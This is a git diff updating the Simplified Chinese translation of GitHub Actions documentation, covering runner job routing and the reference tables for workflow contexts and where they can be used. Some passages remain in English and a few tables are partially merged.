-- {% data variables.product.prodname_dotcom %} first searches for an online and idle runner at the repository level, then at the organization level, {% ifversion fpt or ghec %} and if the organization is part of an enterprise,{% endif %} then at the enterprise level.
-- If {% data variables.product.prodname_dotcom %} finds an online and idle runner at a certain level that matches the job's `runs-on` labels, the job is then assigned and sent to the runner.
-  - If the runner doesn't pick up the assigned job within 60 seconds, the job is queued at all levels and waits for a matching runner from any level to come online and pick up the job.
-- If {% data variables.product.prodname_dotcom %} doesn't find an online and idle runner at any level, the job is queued to all levels and waits for a matching runner from any level to come online and pick up the job.
-- If the job remains queued for more than 24 hours, the job will fail.
+{% ifversion fpt or ghes > 3.3 or ghae or ghec %}
+- If {% data variables.product.prodname_dotcom %} finds an online and idle runner that matches the job's `runs-on` labels, the job is then assigned and sent to the runner.
+  - If the runner doesn't pick up the assigned job within 60 seconds, the job is re-queued so that a new runner can accept it.
+- If {% data variables.product.prodname_dotcom %} doesn't find an online and idle runner that matches the job's `runs-on` labels, then the job will remain queued until a runner comes online.
+- 如果作业排队的时间超过 24 小时，则作业将失败。
+{% elsif ghes = 3.3 %}
+- {% data variables.product.prodname_dotcom %} 先在仓库级别搜索运行器，然后在组织级别搜索运行器，然后在企业级别搜索运行器。
+- 如果 {% data variables.product.prodname_dotcom %} 在某个级别找到一个在线的空闲运行器与作业的 `runs-on` 标签匹配，则作业被分配并发送到运行器。
+  - 如果运行器在 60 秒内未收到分配的作业，该作业将在所有级别排队，等待任何级别的匹配运行器上线和接收作业。
+- 如果 {% data variables.product.prodname_dotcom %} 在任何级别都找不到在线和空闲的运行器，则作业将在所有级别排队，等待任何级别的匹配运行器上线并接收作业。
+- 如果作业排队的时间超过 24 小时，则作业将失败。
 {% else %}
-1. {% data variables.product.prodname_dotcom %} first searches for a runner at the repository level, then at the organization level, then at the enterprise level.
-2. The job is then sent to the first matching runner that is online and idle.
-   - If all matching online runners are busy, the job will queue at the level with the highest number of matching online runners.
-   - If all matching runners are offline, the job will queue at the level with the highest number of matching offline runners.
-   - If there are no matching runners at any level, the job will fail.
-   - If the job remains queued for more than 24 hours, the job will fail.
+1. {% data variables.product.prodname_dotcom %} 先在仓库级别搜索运行器，然后在组织级别搜索运行器，然后在企业级别搜索运行器。
+2. 然后，将作业发送到第一个联机且空闲的匹配运行器。
+   - 如果所有匹配的联机运行器都处于忙碌状态，则作业将在匹配联机运行器数量最多的级别排队。
+   - 如果所有匹配的运行器都处于脱机状态，则作业将在匹配脱机运行器数量最多的级别排队。
+   - 如果在任何级别都没有匹配的运行器，则作业将失败。
+   - 如果作业排队的时间超过 24 小时，则作业将失败。
 {% endif %}
diff --git a/translations/zh-CN/content/actions/index.md b/translations/zh-CN/content/actions/index.md
index 874053eb2b..dc280c5cf1 100644
--- a/translations/zh-CN/content/actions/index.md
+++ b/translations/zh-CN/content/actions/index.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Actions Documentation
+title: GitHub Actions文档
 shortTitle: GitHub Actions
-intro: 'Automate, customize, and execute your software development workflows right in your repository with {% data variables.product.prodname_actions %}. You can discover, create, and share actions to perform any job you''d like, including CI/CD, and combine actions in a completely customized workflow.'
+intro: '在 {% data variables.product.prodname_actions %} 的仓库中自动化、自定义和执行软件开发工作流程。 您可以发现、创建和共享操作以执行您喜欢的任何作业（包括 CI/CD），并将操作合并到完全自定义的工作流程中。'
 introLinks:
   overview: /actions/learn-github-actions/understanding-github-actions
   quickstart: /actions/quickstart
@@ -13,7 +13,7 @@ featuredLinks:
     - /actions/guides/about-packaging-with-github-actions
     - /actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting
   guideCards:
-    - /actions/guides/setting-up-continuous-integration-using-workflow-templates
+    - /actions/learn-github-actions/using-starter-workflows
     - /actions/guides/publishing-nodejs-packages
     - /actions/guides/building-and-testing-powershell
   popular:
diff --git a/translations/zh-CN/content/actions/learn-github-actions/contexts.md b/translations/zh-CN/content/actions/learn-github-actions/contexts.md
index 6fd4f39039..e4a0bc23b5 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/contexts.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/contexts.md
@@ -1,6 +1,6 @@
 ---
-title: Contexts
-shortTitle: Contexts
+title: 上下文
+shortTitle: 上下文
 intro: You can access context information in workflows and actions.
 redirect_from:
   - /articles/contexts-and-expression-syntax-for-github-actions
@@ -23,136 +23,126 @@ miniTocMaxHeadingLevel: 3
 
 {% data reusables.github-actions.context-injection-warning %}
 
-Contexts are a way to access information about workflow runs, runner environments, jobs, and steps. Contexts use the expression syntax. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+上下文是一种访问工作流程运行、运行器环境、作业及步骤相关信息的方式。 上下文使用表达式语法。 For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
 {% raw %}
 `${{ <context> }}`
 {% endraw %}
 
-| Context name | Type | Description |
-|---------------|------|-------------|
-| `github` | `object` | Information about the workflow run. For more information, see [`github` context](#github-context). |
-| `env` | `object` | Contains environment variables set in a workflow, job, or step. For more information, see [`env` context](#env-context). |
-| `job` | `object` | Information about the currently executing job. For more information, see [`job` context](#job-context). |
-| `steps` | `object` | Information about the steps that have been run in this job. For more information, see [`steps` context](#steps-context). |
-| `runner` | `object` | Information about the runner that is running the current job. For more information, see [`runner` context](#runner-context). |
-| `secrets` | `object` | Enables access to secrets. For more information about secrets, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." |
-| `strategy` | `object` | Enables access to the configured strategy parameters and information about the current job. Strategy parameters include `fail-fast`, `job-index`, `job-total`, and `max-parallel`. |
-| `matrix` | `object` | Enables access to the matrix parameters you configured for the current job. For example, if you configure a matrix build with the `os` and `node` versions, the `matrix` context object includes the `os` and `node` versions of the current job. |
-| `needs` | `object` | Enables access to the outputs of all jobs that are defined as a dependency of the current job. For more information, see [`needs` context](#needs-context). |
+| 上下文名称      | 类型   | 描述                                                                                                                                  |
+| ---------- | ---- | ----------------------------------------------------------------------------------------------------------------------------------- |
+| `github`   | `对象` | 工作流程运行的相关信息。 更多信息请参阅 [`github` 上下文](#github-context)。                                                                               |
+| `env`      | `对象` | 包含工作流程、作业或步骤中设置的环境变量。 更多信息请参阅 [`env` 上下文](#env-context)。                                                                            |
+| `job`      | `对象` | 当前执行的作业相关信息。 更多信息请参阅 [`job` 上下文](#job-context)。                                                                                     |
+| `steps`    | `对象` | 此作业中已经运行的步骤的相关信息。 更多信息请参阅 [`steps` 上下文](#steps-context)。                                                                            |
+| `runner`   | `对象` | 运行当前作业的运行程序相关信息。 更多信息请参阅 [`runner` 上下文](#runner-context)。                                                                           |
+| `secrets`  | `对象` | 启用对密码的访问权限。 有关密码的更多信息，请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。 |
+| `strategy` | `对象` | 用于访问配置的策略参数及当前作业的相关信息。 策略参数包括 `fail-fast`、`job-index`、`job-total` 和 `max-parallel`。                                                 |
+| `matrix`   | `对象` | 用于访问为当前作业配置的矩阵参数。 例如，如果使用 `os` 和 `node` 版本配置矩阵构建，`matrix` 上下文对象将包含当前作业的 `os` 和 `node` 版本。                                           |
+| `needs`    | `对象` | 允许访问定义为当前作业依赖项的所有作业的输出。 更多信息请参阅 [`needs` 上下文](#needs-context)。                                                                      |
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4757 %}| `inputs` | `object` | Enables access to the inputs of reusable workflow. For more information, see [`inputs` context](#inputs-context). |{% endif %}
 
-As part of an expression, you may access context information using one of two syntaxes.
-- Index syntax: `github['sha']`
-- Property dereference syntax: `github.sha`
+作为表达式的一部分，您可以使用以下两种语法之一访问上下文信息。
+- 索引语法：`github['sha']`
+- 属性解除参考语法：`github.sha`
 
-In order to use property dereference syntax, the property name must:
-- start with `a-Z` or `_`.
-- be followed by `a-Z` `0-9` `-` or `_`.
+要使用属性解除参考语法，属性名称必须：
+- 以 `a-Z` 或 `_` 开头。
+- 后跟 `a-Z` `0-9` `-` 或 `_`。
 
-### Determining when to use contexts
+### 确定何时使用上下文
 
 {% data reusables.github-actions.using-context-or-environment-variables %}
 
-### `github` context
+### `github` 上下文
 
-The `github` context contains information about the workflow run and the event that triggered the run. You can read most of the `github` context data in environment variables. For more information about environment variables, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)."
+`github` 上下文包含有关工作流程运行以及触发运行的事件相关信息。 您可以读取环境变量中的大多数 `github` 上下文数据。 有关环境变量的更多信息，请参阅“[使用环境变量](/actions/automating-your-workflow-with-github-actions/using-environment-variables)”。
 
 {% data reusables.github-actions.github-context-warning %}
 {% data reusables.github-actions.context-injection-warning %}
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `github` | `object` | The top-level context available during any job or step in a workflow. |
-| `github.action` | `string` | The name of the action currently running. {% data variables.product.prodname_dotcom %} removes special characters or uses the name `__run` when the current step runs a script.  If you use the same action more than once in the same job, the name will include a suffix with the sequence number with underscore before it.  For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. Similarly, the second invocation of `actions/checkout` will be `actionscheckout2`. |
-| `github.action_path` | `string` | The path where your action is located. You can use this path to easily access files located in the same repository as your action. This attribute is only supported in composite actions. |
-| `github.actor` | `string` | The login of the user that initiated the workflow run. |
-| `github.base_ref` | `string` | The `base_ref` or target branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. |
-| `github.event` | `object` | The full event webhook payload. For more information, see "[Events that trigger workflows](/articles/events-that-trigger-workflows/)." You can access individual properties of the event using this context. |
-| `github.event_name` | `string` | The name of the event that triggered the workflow run. |
-| `github.event_path` | `string` | The path to the full event webhook payload on the runner. |
-| `github.head_ref` | `string` | The `head_ref` or source branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. |
-| `github.job` | `string` | The [`job_id`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job. |
-| `github.ref` | `string` | The branch or tag ref that triggered the workflow run. For branches this is the format  `refs/heads/<branch_name>`, and for tags it is `refs/tags/<tag_name>`. |
+| 属性名称                 | 类型    | 描述                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| -------------------- | ----- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `github`             | `对象`  | 工作流程中任何作业或步骤期间可用的顶层上下文。                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| `github.action`      | `字符串` | 正在运行的操作的名称。 {% data variables.product.prodname_dotcom %} removes special characters or uses the name `__run` when the current step runs a script.  If you use the same action more than once in the same job, the name will include a suffix with the sequence number with underscore before it.  For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. 同样，`actions/checkout` 第二次调用时将变成 `actionscheckout2`。 |
+| `github.action_path` | `字符串` | 您的操作所在的路径。 您可以使用此路径轻松访问与操作位于同一仓库中的文件。 此属性仅在复合操作中才受支持。                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| `github.actor`       | `字符串` | 发起工作流程运行的用户的登录名。                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| `github.base_ref`    | `字符串` | 工作流程运行中拉取请求的 `base_ref` 或目标分支。 此属性仅在触发工作流程运行的事件为 `pull_request` 或 `pull_request_target` 时才可用。                                                                                                                                                                                                                                                                                                                                                                          |
+| `github.event`       | `对象`  | 完整事件 web 挂钩有效负载。 更多信息请参阅“[触发工作流程的事件](/articles/events-that-trigger-workflows/)”。 您可以使用上下文访问事件的个别属性。                                                                                                                                                                                                                                                                                                                                                                    |
+| `github.event_name`  | `字符串` | 触发工作流程运行的事件的名称。                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| `github.event_path`  | `字符串` | 运行器上完整事件 web 挂钩有效负载的路径。                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| `github.head_ref`    | `字符串` | 工作流程运行中拉取请求的 `head_ref` 或来源分支。 此属性仅在触发工作流程运行的事件为 `pull_request` 或 `pull_request_target` 时才可用。                                                                                                                                                                                                                                                                                                                                                                          |
+| `github.job`         | `字符串` | 当前作业的 [`job_id`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id)。                                                                                                                                                                                                                                                                                                                                                                                    |
+| `github.ref`         | `字符串` | 触发工作流程的分支或标记参考。 对于分支，格式为 `refs/heads/<branch_name>`，对于标记是 `refs/tags/<tag_name>`。                                                                                                                                                                                                                                                                                                                                                                          |
 {%- ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5338 %}
-| `github.ref_name` | `string` | {% data reusables.actions.ref_name-description %} |
-| `github.ref_protected` | `string` | {% data reusables.actions.ref_protected-description %} |
-| `github.ref_type` | `string` | {% data reusables.actions.ref_type-description %} |
+| `github.ref_name` | `string` | {% data reusables.actions.ref_name-description %} | | `github.ref_protected` | `string` | {% data reusables.actions.ref_protected-description %} | | `github.ref_type` | `string` | {% data reusables.actions.ref_type-description %}
 {%- endif %}
-| `github.repository` | `string` | The owner and repository name. For example, `Codertocat/Hello-World`. |
-| `github.repository_owner` | `string` | The repository owner's name. For example, `Codertocat`. |
-| `github.run_id` | `string` | {% data reusables.github-actions.run_id_description %} |
-| `github.run_number` | `string` | {% data reusables.github-actions.run_number_description %} |
-| `github.run_attempt` | `string` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. |
-| `github.server_url` | `string` | Returns the URL of the GitHub server. For example: `https://github.com`. |
-| `github.sha` | `string` | The commit SHA that triggered the workflow run. |
-| `github.token` | `string` | A token to authenticate on behalf of the GitHub App installed on your repository. This is functionally equivalent to the `GITHUB_TOKEN` secret. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." |
-| `github.workflow` | `string` | The name of the workflow. If the workflow file doesn't specify a `name`, the value of this property is the full path of the workflow file in the repository. |
-| `github.workspace` | `string` | The default working directory for steps and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. |
+| `github.repository` | `string` | The owner and repository name. 例如 `Codertocat/Hello-World`。 | | `github.repository_owner` | `string` | The repository owner's name. 例如 `Codertocat`。 | | `github.run_id` | `string` | {% data reusables.github-actions.run_id_description %} | | `github.run_number` | `string` | {% data reusables.github-actions.run_number_description %} | | `github.run_attempt` | `string` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. | | `github.server_url` | `string` | Returns the URL of the GitHub server. 例如：`https://github.com`。 | | `github.sha` | `string` | The commit SHA that triggered the workflow run. | | `github.token` | `string` | A token to authenticate on behalf of the GitHub App installed on your repository. 这在功能上等同于 `GITHUB_TOKEN` 密码。 更多信息请参阅“[使用 GITHUB_TOKEN 验证身份](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)”。 | | `github.workflow` | `string` | The name of the workflow. 如果工作流程文件未指定 `name`，此属性的值将是仓库中工作流程文件的完整路径。 | | `github.workspace` | `string` | The default working directory for steps and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. |
 
-### `env` context
+### `env` 上下文
 
-The `env` context contains environment variables that have been set in a workflow, job, or step. For more information about setting environment variables in your workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env)."
+`env` 上下文包含已在工作流程、作业或步骤中设置的环境变量。 有关在工作流程中设置环境变量的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env)”。
 
-The `env` context syntax allows you to use the value of an environment variable in your workflow file. You can use the `env` context in the value of any key in a **step** except for the `id` and `uses` keys. For more information on the step syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)."
+`env` 上下文语法允许您在工作流程文件中使用环境变量的值。 您可以在**步骤**的任何键值中使用 `env` 上下文，但 `id` 和 `uses` 键除外。 有关步骤语法的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)”。
 
-If you want to use the value of an environment variable inside a runner, use the runner operating system's normal method for reading environment variables.
+如果您想要在运行器中使用环境变量的值，请使用运行器操作系统的正常方法来读取环境变量。
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `env` | `object` | This context changes for each step in a job. You can access this context from any step in a job. |
-| `env.<env_name>` | `string` | The value of a specific environment variable. |
+| 属性名称                   | 类型    | 描述                                     |
+| ---------------------- | ----- | -------------------------------------- |
+| `env`                  | `对象`  | 此上下文针对作业中的每个步骤而改变。 您可以从作业中的任何步骤访问此上下文。 |
+| `env.<env_name>` | `字符串` | 特定环境变量的值。                              |
 
-### `job` context
+### `job` 上下文
 
-The `job` context contains information about the currently running job.
+`job` 上下文包含当前正在运行的作业相关信息。
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `job` | `object` | This context changes for each job in a workflow run. You can access this context from any step in a job. |
-| `job.container` | `object` | Information about the job's container. For more information about containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idcontainer)." |
-| `job.container.id` | `string` | The id of the container. |
-| `job.container.network` | `string` | The id of the container network. The runner creates the network used by all containers in a job. |
-| `job.services` | `object` | The service containers created for a job. For more information about service containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idservices)." |
-| `job.services.<service id>.id` | `string` | The id of the service container. |
-| `job.services.<service id>.network` | `string` | The id of the service container network. The runner creates the network used by all containers in a job. |
-| `job.services.<service id>.ports` | `object` | The exposed ports of the service container. |
-| `job.status` | `string` | The current status of the job. Possible values are `success`, `failure`, or `cancelled`. |
+| 属性名称                                      | 类型    | 描述                                                                                                                                                     |
+| ----------------------------------------- | ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `job`                                     | `对象`  | 此上下文针对工作流程运行中的每项作业而改变。 您可以从作业中的任何步骤访问此上下文。                                                                                                             |
+| `job.container`                           | `对象`  | 作业的容器相关信息。 有关容器的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/articles/workflow-syntax-for-github-actions#jobsjob_idcontainer)”。   |
+| `job.container.id`                        | `字符串` | 容器的 id。                                                                                                                                                |
+| `job.container.network`                   | `字符串` | 容器网络的 id。 运行程序创建作业中所有容器使用的网络。                                                                                                                          |
+| `job.services`                            | `对象`  | 为作业创建的服务容器。 有关服务容器的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/articles/workflow-syntax-for-github-actions#jobsjob_idservices)”。 |
+| `job.services.<service id>.id`      | `字符串` | 服务容器的 id。                                                                                                                                              |
+| `job.services.<service id>.network` | `字符串` | 服务容器网络的 id。 运行程序创建作业中所有容器使用的网络。                                                                                                                        |
+| `job.services.<service id>.ports`   | `对象`  | 服务容器显露的端口。                                                                                                                                             |
+| `job.status`                              | `字符串` | 作业的当前状态。 可能的值包括 `success`、`failure` 或 `cancelled`。                                                                                                     |
 
-### `steps` context
+### `steps` 上下文
 
-The `steps` context contains information about the steps in the current job that have already run.
+`steps` 上下文包含当前作业中已经运行的步骤相关信息。
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `steps` | `object` | This context changes for each step in a job. You can access this context from any step in a job. |
-| `steps.<step id>.outputs` | `object` | The set of outputs defined for the step. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs)." |
-| `steps.<step id>.conclusion` | `string` | The result of a completed step after [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. |
-| `steps.<step id>.outcome` | `string` | The result of a completed step before [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. |
-| `steps.<step id>.outputs.<output name>` | `string` | The value of a specific output. |
+| 属性名称                                                | 类型    | 描述                                                                                                                                                                                                                                                                 |
+| --------------------------------------------------- | ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `steps`                                             | `对象`  | 此上下文针对作业中的每个步骤而改变。 您可以从作业中的任何步骤访问此上下文。                                                                                                                                                                                                                             |
+| `steps.<step id>.outputs`                     | `对象`  | 为步骤定义的输出集。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/articles/metadata-syntax-for-github-actions#outputs)”。                                                                                                                                  |
+| `steps.<step id>.conclusion`                  | `字符串` | 在 [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) 应用之后完成的步骤的结果。 可能的值包括 `success`、`failure`、`cancelled` 或 `skipped`。 当 `continue-on-error` 步骤失败时，`outcome` 为 `failure`，但最终的 `conclusion` 为 `success`。 |
+| `steps.<step id>.outcome`                     | `字符串` | 在 [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) 应用之前完成的步骤的结果。 可能的值包括 `success`、`failure`、`cancelled` 或 `skipped`。 当 `continue-on-error` 步骤失败时，`outcome` 为 `failure`，但最终的 `conclusion` 为 `success`。 |
+| `steps.<step id>.outputs.<output name>` | `字符串` | 特定输出的值。                                                                                                                                                                                                                                                            |
 
-### `runner` context
+### `runner` 上下文
 
-The `runner` context contains information about the runner that is executing the current job.
+`runner` 上下文包含正在执行当前作业的运行器相关信息。
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `runner.name` | `string` | {% data reusables.actions.runner-name-description %} |
-| `runner.os` | `string` | {% data reusables.actions.runner-os-description %} |{% if actions-runner-arch-envvars %}
-| `runner.arch` | `string` | {% data reusables.actions.runner-arch-description %} |{% endif %}
-| `runner.temp` | `string` | {% data reusables.actions.runner-temp-directory-description %} |
-| `runner.tool_cache` | `string` | {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data reusables.actions.runner-tool-cache-description %} {% endif %}|
+| 属性名称                | 类型    | 描述                                                                                                                                                              |
+| ------------------- | ----- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `runner.name`       | `字符串` | {% data reusables.actions.runner-name-description %}
+| `runner.os`         | `字符串` | {% data reusables.actions.runner-os-description %} |{% if actions-runner-arch-envvars %}
+| `runner.arch`       | `字符串` | {% data reusables.actions.runner-arch-description %} 
+{% endif %}
+| `runner.temp`       | `字符串` | {% data reusables.actions.runner-temp-directory-description %}
+| `runner.tool_cache` | `字符串` | {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data reusables.actions.runner-tool-cache-description %} {% endif %}
 
-### `needs` context
+### `needs` 上下文
 
-The `needs` context contains outputs from all jobs that are defined as a dependency of the current job. For more information on defining job dependencies, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+`needs` 上下文包含定义为当前作业依赖项的所有作业的输出。 有关定义作业依赖项的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)”。
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `needs.<job id>` | `object` | A single job that the current job depends on. |
-| `needs.<job id>.outputs` | `object` | The set of outputs of a job that the current job depends on. |
-| `needs.<job id>.outputs.<output name>` | `string` | The value of a specific output for a job that the current job depends on. |
-| `needs.<job id>.result` | `string` | The result of a job that the current job depends on. Possible values are `success`, `failure`, `cancelled`, or `skipped`. |
+| 属性名称                                               | 类型    | 描述                                                                |
+| -------------------------------------------------- | ----- | ----------------------------------------------------------------- |
+| `needs.<job id>`                             | `对象`  | 当前作业依赖的单个作业。                                                      |
+| `needs.<job id>.outputs`                     | `对象`  | 当前作业依赖的作业的输出集。                                                    |
+| `needs.<job id>.outputs.<output name>` | `字符串` | 当前作业依赖的作业的特定输出值。                                                  |
+| `needs.<job id>.result`                      | `字符串` | 当前作业依赖的作业的结果。 可能的值包括 `success`、`failure`、`cancelled` 或 `skipped`。 |
 
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4757 %}
 ### `inputs` context
@@ -161,15 +151,15 @@ The `inputs` context contains information about the inputs of reusable workflow.
 
 For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)".
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `inputs` | `object` | This context is only available when it is [a reusable workflow](/actions/learn-github-actions/reusing-workflows). |
-| `inputs.<name>` | `string` or `number` or `boolean` | Each input value passed from an external workflow. |
+| 属性名称                  | 类型                                | 描述                                                                                                                |
+| --------------------- | --------------------------------- | ----------------------------------------------------------------------------------------------------------------- |
+| `inputs`              | `对象`                              | This context is only available when it is [a reusable workflow](/actions/learn-github-actions/reusing-workflows). |
+| `inputs.<name>` | `string` or `number` or `boolean` | Each input value passed from an external workflow.                                                                |
 {% endif %}
 
-#### Example printing context information to the log file
+#### 打印上下文信息到日志文件的示例
 
-To inspect the information that is accessible in each context, you can use this workflow file example.
+要检查每个上下文中可访问的信息，您可以使用此工作流程文件示例。
 
 {% data reusables.github-actions.github-context-warning %}
 
@@ -209,37 +199,34 @@ jobs:
 ```
 {% endraw %}
 
-## Context availability
+## 上下文可用性
 
-Different contexts are available throughout a workflow run. For example, the `secrets` context may only be used at certain places within a job.
+在整个工作流程运行过程中，提供不同的上下文。 例如，`secrets` 上下文只能用于作业中的某些地方。
 
-In addition, some functions may only be used in certain places. For example, the `hashFiles` function is not available everywhere.
+此外，某些功能只能在某些地方使用。 例如， `hashFiles` 函数无法随处可用。
 
-The following table indicates where each context and special function can be used within a workflow. Unless listed below, a function can be used anywhere.
-
-{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
-
-| Path | Context | Special functions |
-| ---- | ------- | ----------------- |
-| <code>concurrency</code> | <code>github, inputs</code> | |
-| <code>env</code> | <code>github, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.concurrency</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.container</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.container.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | |
+下表列出了工作流程中每一个上下文和特殊函数可以使用的地方。 除非下面列出，否则可以在任何地方使用函数。 |{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
+| 路径                         | 上下文                        | 特殊函数                       |
+| -------------------------- | -------------------------- | -------------------------- |
+| <code>concurrency</code>  | <code>github, inputs</code>  |                            |
+| <code>env</code>  | <code>github, secrets, inputs</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.concurrency</code>  | <code>github, needs, strategy, matrix, inputs</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.container</code>  | <code>github, needs, strategy, matrix, inputs</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.container.credentials</code>  | <code>github, needs, strategy, matrix, env, secrets, inputs</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> |                            |
 | <code>jobs.&lt;job_id&gt;.if</code> | <code>github, needs, inputs</code> | <code>always, cancelled, success, failure</code> |
-| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.secrets.&lt;secrets_id&gt;</code> | <code>github, needs, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix, inputs</code> | |
